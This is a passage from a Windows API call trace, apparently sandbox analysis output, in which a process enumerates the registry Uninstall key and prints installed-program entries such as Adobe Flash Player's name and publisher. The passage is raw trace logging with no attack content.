_File=0x7fefd702ab0) returned 0 [0146.730] RegQueryInfoKeyW (in: hKey=0x58, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f790, lpcbMaxValueNameLen=0x23f7e0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f790*=0x0, lpcbMaxValueNameLen=0x23f7e0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.730] GetProcessHeap () returned 0x2e0000 [0146.730] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fb5f0 [0146.730] GetProcessHeap () returned 0x2e0000 [0146.730] GetProcessHeap () returned 0x2e0000 [0146.730] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb5f0) returned 1 [0146.730] GetProcessHeap () returned 0x2e0000 [0146.730] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb5f0) returned 0x2 [0146.730] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb5f0 | out: hHeap=0x2e0000) returned 1 [0146.730] RegQueryInfoKeyW (in: hKey=0x58, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f844, lpcbMaxSubKeyLen=0x23f840, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f844*=0x1f, lpcbMaxSubKeyLen=0x23f840, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.731] GetProcessHeap () returned 0x2e0000 [0146.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xb6) returned 0x2fbb50 [0146.731] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 70 [0146.731] GetProcessHeap () returned 0x2e0000 [0146.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x144) returned 0x2fbc10 [0146.731] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x0, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="AddressBook", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.731] __iob_func () returned 0x7fefd702a80 [0146.731] GetProcessHeap () returned 0x2e0000 [0146.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2f5b90 [0146.731] GetProcessHeap () returned 0x2e0000 [0146.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fb5f0 [0146.731] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.731] GetProcessHeap () returned 0x2e0000 [0146.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x1000) returned 0x2fbd60 [0146.731] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook\n") returned 83 [0146.731] _fileno (_File=0x7fefd702ab0) returned 1 [0146.731] _errno () returned 0xc4bb0 [0146.731] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.731] _errno () returned 0xc4bb0 [0146.731] GetFileType (hFile=0x50) returned 0x1 [0146.731] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook\n") returned 83 [0146.731] GetConsoleOutputCP () returned 0x1b5 [0146.731] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook\n", cchWideChar=83, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 83 [0146.731] GetConsoleOutputCP () returned 0x1b5 [0146.732] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook\n", cchWideChar=83, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook\n", lpUsedDefaultChar=0x0) returned 83 [0146.732] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 83 [0146.732] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.732] RegOpenKeyExW (in: hKey=0x58, lpSubKey="AddressBook", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0146.732] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.732] GetProcessHeap () returned 0x2e0000 [0146.732] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fb7d0 [0146.732] __iob_func () returned 0x7fefd702a80 [0146.732] _fileno (_File=0x7fefd702ab0) returned 1 [0146.732] _errno () returned 0xc4bb0 [0146.732] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.732] _errno () returned 0xc4bb0 [0146.732] GetFileType (hFile=0x50) returned 0x1 [0146.732] lstrlenW (lpString="\n") returned 1 [0146.732] GetConsoleOutputCP () returned 0x1b5 [0146.732] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.732] GetConsoleOutputCP () returned 0x1b5 [0146.732] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.732] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.732] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.733] GetProcessHeap () returned 0x2e0000 [0146.733] GetProcessHeap () returned 0x2e0000 [0146.733] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.733] GetProcessHeap () returned 0x2e0000 [0146.733] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x2 [0146.733] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.733] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.733] GetProcessHeap () returned 0x2e0000 [0146.733] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fb7d0 [0146.733] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook") returned 82 [0146.733] GetProcessHeap () returned 0x2e0000 [0146.733] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xa8) returned 0x2fcd70 [0146.733] GetProcessHeap () returned 0x2e0000 [0146.733] GetProcessHeap () returned 0x2e0000 [0146.733] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.733] GetProcessHeap () returned 0x2e0000 [0146.733] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x2 [0146.733] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.733] GetProcessHeap () returned 0x2e0000 [0146.733] GetProcessHeap () returned 0x2e0000 [0146.733] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd70) returned 1 [0146.733] GetProcessHeap () returned 0x2e0000 [0146.733] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcd70) returned 0xa8 [0146.733] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd70 | out: hHeap=0x2e0000) returned 1 [0146.733] RegCloseKey (hKey=0x5c) returned 0x0 [0146.733] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x1, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Adobe Flash Player ActiveX", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.733] __iob_func () returned 0x7fefd702a80 [0146.733] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.733] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player ActiveX\n") returned 98 [0146.733] _fileno (_File=0x7fefd702ab0) returned 1 [0146.733] _errno () returned 0xc4bb0 [0146.733] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.733] _errno () returned 0xc4bb0 [0146.733] GetFileType (hFile=0x50) returned 0x1 [0146.733] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player ActiveX\n") returned 98 [0146.733] GetConsoleOutputCP () returned 0x1b5 [0146.734] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player ActiveX\n", cchWideChar=98, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 98 [0146.734] GetConsoleOutputCP () returned 0x1b5 [0146.734] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player ActiveX\n", cchWideChar=98, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player ActiveX\n", lpUsedDefaultChar=0x0) returned 98 [0146.734] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 98 [0146.734] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.734] RegOpenKeyExW (in: hKey=0x58, lpSubKey="Adobe Flash Player ActiveX", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0146.734] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0xe, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.734] GetProcessHeap () returned 0x2e0000 [0146.734] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x24) returned 0x2f5bc0 [0146.734] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.734] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4c) returned 0x0 [0146.734] GetProcessHeap () returned 0x2e0000 [0146.734] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x4e) returned 0x2fb7d0 [0146.734] GetProcessHeap () returned 0x2e0000 [0146.734] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.734] GetProcessHeap () returned 0x2e0000 [0146.734] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x4e [0146.734] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x4c | out: pdwType=0x23f5f0*=0x1, pvData="Adobe Flash Player 11 ActiveX 64-bit", pcbData=0x23f670*=0x4a) returned 0x0 [0146.735] __iob_func () returned 0x7fefd702a80 [0146.735] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.735] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.735] _fileno (_File=0x7fefd702ab0) returned 1 [0146.735] _errno () returned 0xc4bb0 [0146.735] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.735] _errno () returned 0xc4bb0 [0146.735] GetFileType (hFile=0x50) returned 0x1 [0146.735] lstrlenW (lpString=" ") returned 4 [0146.735] GetConsoleOutputCP () returned 0x1b5 [0146.735] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.735] GetConsoleOutputCP () returned 0x1b5 [0146.735] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.735] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.735] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.735] lstrlenW (lpString="DisplayName") returned 11 [0146.735] __iob_func () returned 0x7fefd702a80 [0146.735] _fileno (_File=0x7fefd702ab0) returned 1 [0146.735] _errno () returned 0xc4bb0 [0146.735] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.735] _errno () returned 0xc4bb0 [0146.735] GetFileType (hFile=0x50) returned 0x1 [0146.735] lstrlenW (lpString="DisplayName") returned 11 [0146.735] GetConsoleOutputCP () returned 0x1b5 [0146.736] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0146.736] GetConsoleOutputCP () returned 0x1b5 [0146.736] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0146.736] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0146.736] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.736] __iob_func () returned 0x7fefd702a80 [0146.736] _fileno (_File=0x7fefd702ab0) returned 1 [0146.736] _errno () returned 0xc4bb0 [0146.736] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.736] _errno () returned 0xc4bb0 [0146.736] GetFileType (hFile=0x50) returned 0x1 [0146.736] lstrlenW (lpString=" ") returned 4 [0146.736] GetConsoleOutputCP () returned 0x1b5 [0146.736] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.736] GetConsoleOutputCP () returned 0x1b5 [0146.736] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.736] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.736] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.736] __iob_func () returned 0x7fefd702a80 [0146.736] _fileno (_File=0x7fefd702ab0) returned 1 [0146.736] _errno () returned 0xc4bb0 [0146.736] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.736] _errno () returned 0xc4bb0 [0146.737] GetFileType (hFile=0x50) returned 0x1 [0146.737] lstrlenW (lpString="REG_SZ") returned 6 [0146.737] GetConsoleOutputCP () returned 0x1b5 [0146.737] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.737] GetConsoleOutputCP () returned 0x1b5 [0146.737] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.737] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.737] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.737] __iob_func () returned 0x7fefd702a80 [0146.737] _fileno (_File=0x7fefd702ab0) returned 1 [0146.737] _errno () returned 0xc4bb0 [0146.737] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.737] _errno () returned 0xc4bb0 [0146.737] GetFileType (hFile=0x50) returned 0x1 [0146.737] lstrlenW (lpString=" ") returned 4 [0146.737] GetConsoleOutputCP () returned 0x1b5 [0146.737] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.737] GetConsoleOutputCP () returned 0x1b5 [0146.737] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.737] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.737] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.738] __iob_func () returned 0x7fefd702a80 [0146.738] _fileno (_File=0x7fefd702ab0) returned 1 [0146.738] _errno () returned 0xc4bb0 [0146.738] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.738] _errno () returned 0xc4bb0 [0146.738] GetFileType (hFile=0x50) returned 0x1 [0146.738] lstrlenW (lpString="Adobe Flash Player 11 ActiveX 64-bit") returned 36 [0146.738] GetConsoleOutputCP () returned 0x1b5 [0146.738] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Adobe Flash Player 11 ActiveX 64-bit", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0146.738] GetConsoleOutputCP () returned 0x1b5 [0146.738] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Adobe Flash Player 11 ActiveX 64-bit", cchWideChar=36, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe Flash Player 11 ActiveX 64-bit", lpUsedDefaultChar=0x0) returned 36 [0146.738] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 36 [0146.738] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.738] __iob_func () returned 0x7fefd702a80 [0146.738] _fileno (_File=0x7fefd702ab0) returned 1 [0146.738] _errno () returned 0xc4bb0 [0146.738] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.738] _errno () returned 0xc4bb0 [0146.738] GetFileType (hFile=0x50) returned 0x1 [0146.738] lstrlenW (lpString="\n") returned 1 [0146.738] GetConsoleOutputCP () returned 0x1b5 [0146.738] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.738] GetConsoleOutputCP () returned 0x1b5 [0146.739] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.739] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.739] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.739] GetProcessHeap () returned 0x2e0000 [0146.739] GetProcessHeap () returned 0x2e0000 [0146.739] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.739] GetProcessHeap () returned 0x2e0000 [0146.739] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x4e [0146.739] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.739] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.739] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x38) returned 0x0 [0146.739] GetProcessHeap () returned 0x2e0000 [0146.739] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x3a) returned 0x2f9cc0 [0146.739] GetProcessHeap () returned 0x2e0000 [0146.739] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0) returned 1 [0146.739] GetProcessHeap () returned 0x2e0000 [0146.739] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9cc0) returned 0x3a [0146.739] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f9cc0, pcbData=0x23f670*=0x38 | out: pdwType=0x23f5f0*=0x1, pvData="Adobe Systems Incorporated", pcbData=0x23f670*=0x36) returned 0x0 [0146.739] __iob_func () returned 0x7fefd702a80 [0146.739] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.739] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.739] _fileno (_File=0x7fefd702ab0) returned 1 [0146.739] _errno () returned 0xc4bb0 [0146.739] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.739] _errno () returned 0xc4bb0 [0146.739] GetFileType (hFile=0x50) returned 0x1 [0146.739] lstrlenW (lpString=" ") returned 4 [0146.739] GetConsoleOutputCP () returned 0x1b5 [0146.739] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.740] GetConsoleOutputCP () returned 0x1b5 [0146.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.740] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.740] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.740] lstrlenW (lpString="Publisher") returned 9 [0146.740] __iob_func () returned 0x7fefd702a80 [0146.740] _fileno (_File=0x7fefd702ab0) returned 1 [0146.740] _errno () returned 0xc4bb0 [0146.740] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.740] _errno () returned 0xc4bb0 [0146.740] GetFileType (hFile=0x50) returned 0x1 [0146.740] lstrlenW (lpString="Publisher") returned 9 [0146.740] GetConsoleOutputCP () returned 0x1b5 [0146.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.740] GetConsoleOutputCP () returned 0x1b5 [0146.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, 